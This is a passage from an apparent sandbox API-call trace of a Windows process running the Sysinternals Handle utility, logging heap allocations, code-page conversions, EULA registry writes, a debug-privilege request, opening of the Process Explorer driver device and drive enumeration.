(HeapHandle=0x180000, Flags=0x8, Size=0x7c) returned 0x1a1be0 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x3a) returned 0x1965b0 [0102.113] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x90) returned 0x1a1c70 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x24) returned 0x195fc0 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x30) returned 0x19dec0 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x36) returned 0x19df00 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x3c) returned 0x196600 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x52) returned 0x1a1d10 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x3c) returned 0x196650 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x18) returned 0x1a1d70 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x82) returned 0x1a1d90 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2e) returned 0x19df40 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1e) returned 0x195ff0 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2c) returned 0x19df80 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x54) returned 0x1a1e20 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x52) returned 0x1a1e80 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2a) returned 0x19dfc0 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x3c) returned 0x1966a0 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x54) returned 0x1a1ee0 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x24) returned 0x196020 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x30) returned 0x19e000 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8c) returned 0x19ffe0 [0102.114] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a0b20 | out: hHeap=0x180000) returned 1 [0102.114] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1000) returned 0x1a0080 [0102.114] GetLastError () returned 0x0 [0102.114] SetLastError (dwErrCode=0x0) [0102.114] GetLastError () returned 0x0 [0102.114] SetLastError (dwErrCode=0x0) [0102.115] GetLastError () returned 0x0 [0102.115] SetLastError (dwErrCode=0x0) [0102.115] GetACP () returned 0x4e4 [0102.115] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x228) returned 0x1a1090 [0102.115] GetLastError () returned 0x0 [0102.115] SetLastError (dwErrCode=0x0) [0102.115] IsValidCodePage (CodePage=0x4e4) returned 1 [0102.115] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0102.115] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0102.115] GetLastError () returned 0x0 [0102.115] SetLastError (dwErrCode=0x0) [0102.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0102.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ磇仴") returned 256 [0102.115] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ磇仴", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0102.115] GetLastError () returned 0x0 [0102.115] SetLastError (dwErrCode=0x0) [0102.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0102.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0102.115] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0102.115] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0102.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0102.115] GetLastError () returned 0x0 [0102.115] SetLastError (dwErrCode=0x0) [0102.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0102.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0102.116] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0102.116] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0102.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0102.116] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x100) returned 0x1a12c0 [0102.116] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0102.116] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x1a12c0) returned 0x100 [0102.116] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0102.116] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0102.116] GetCurrentProcess () returned 0xffffffffffffffff [0102.116] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0102.116] GetLastError () returned 0x0 [0102.117] SetLastError (dwErrCode=0x0) [0102.117] GetLastError () returned 0x0 [0102.117] SetLastError (dwErrCode=0x0) [0102.117] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0102.117] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0102.117] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0102.117] RegCloseKey (hKey=0x7c) returned 0x0 [0102.117] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0102.117] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0102.117] RegCloseKey (hKey=0x7c) returned 0x0 [0102.117] GetLastError () returned 0x0 [0102.117] SetLastError (dwErrCode=0x0) [0102.117] GetLastError () returned 0x0 [0102.117] SetLastError (dwErrCode=0x0) [0102.117] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x7c) returned 0x0 [0102.118] RegSetValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0102.118] RegCloseKey (hKey=0x7c) returned 0x0 [0102.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0102.118] GetCurrentProcess () returned 0xffffffffffffffff [0102.118] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x7c) returned 1 [0102.118] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 | out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0102.327] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0102.327] GetLastError () returned 0x0 [0102.327] CloseHandle (hObject=0x7c) returned 1 [0102.327] GetLastError () returned 0x0 [0102.327] SetLastError (dwErrCode=0x0) [0102.327] GetLastError () returned 0x0 [0102.327] SetLastError (dwErrCode=0x0) [0102.327] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "\\device\\procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0102.328] SeCaptureSubjectContext (in: SubjectContext=0xfffff88004f09598 | out: SubjectContext=0xfffff88004f09598) [0102.328] ExGetPreviousMode () returned 0xfffffa80038de001 [0102.328] SePrivilegeCheck (in: RequiredPrivileges=0xfffff88004f095b8, SubjectSecurityContext=0xfffff88004f09598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff88004f095b8) returned 1 [0102.328] SeReleaseSubjectContext (in: SubjectContext=0xfffff88004f09598 | out: SubjectContext=0xfffff88004f09598) [0102.328] IofCompleteRequest (Irp=0xfffffa800c94bee0, PriorityBoost=0) [0102.328] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.328] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0102.328] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.328] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0102.328] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.329] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0102.329] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.329] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0102.329] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.329] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0102.329] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.329] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0102.329] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.329] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0102.329] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.329] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0102.329] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.329] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0102.329] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.330] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0102.330] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.330] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0102.330] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.330] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0102.330] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.330] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0102.330] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.330] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0102.330] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0102.330] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0102.330] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0102.330] GetLastError () returned 0x0 [0102.330] SetLastError (dwErrCode=0x0) [0102.330] GetLastError () returned 0x0 [0102.330] SetLastError (dwErrCode=0x0) [0102.331] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0102.331] GetLastError () returned 0x0 [0102.331] SetLastError (dwErrCode=0x0) [0102.331] GetLastError () returned 0x0 [0102.331] SetLastError (dwErrCode=0x0) [0102.331] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0102.331] GetLastError () returned 0x0 [0102.331] SetLastError (dwErrCode=0x0) [0102.331] GetLastError () returned 0x0 [0102.331] SetLastError (dwErrCode=0x0) [0102.331] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.331] GetLastError () returned 0x0 [0102.331] SetLastError (dwErrCode=0x0) [0102.331] GetLastError () returned 0x0 [0102.331] SetLastError (dwErrCode=0x0) [0102.331] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0102.331] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xc0) returned 0x0 [0102.331] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xc0, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0102.331] CloseHandle (hObject=0xc0) returned 1 [0102.331] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0102.332] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0102.332] GetLastError () returned 0x0 [0102.332] SetLastError (dwErrCode=0x0) [0102.332] GetLastError () returned 0x0 [0102.332] SetLastError (dwErrCode=0x0) [0102.332] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0102.332] GetLastError () returned 0x0 [0102.332] SetLastError (dwErrCode=0x0) [0102.332] GetLastError () returned 0x0 [0102.332] SetLastError (dwErrCode=0x0) [0102.332] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0102.332] GetLastError () returned 0x0 [0102.332] SetLastError (dwErrCode=0x0) [0102.332] GetLastError () returned 0x0 [0102.332] SetLastError (dwErrCode=0x0) [0102.332] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0102.333] GetLastError () returned 0x0 [0102.333] 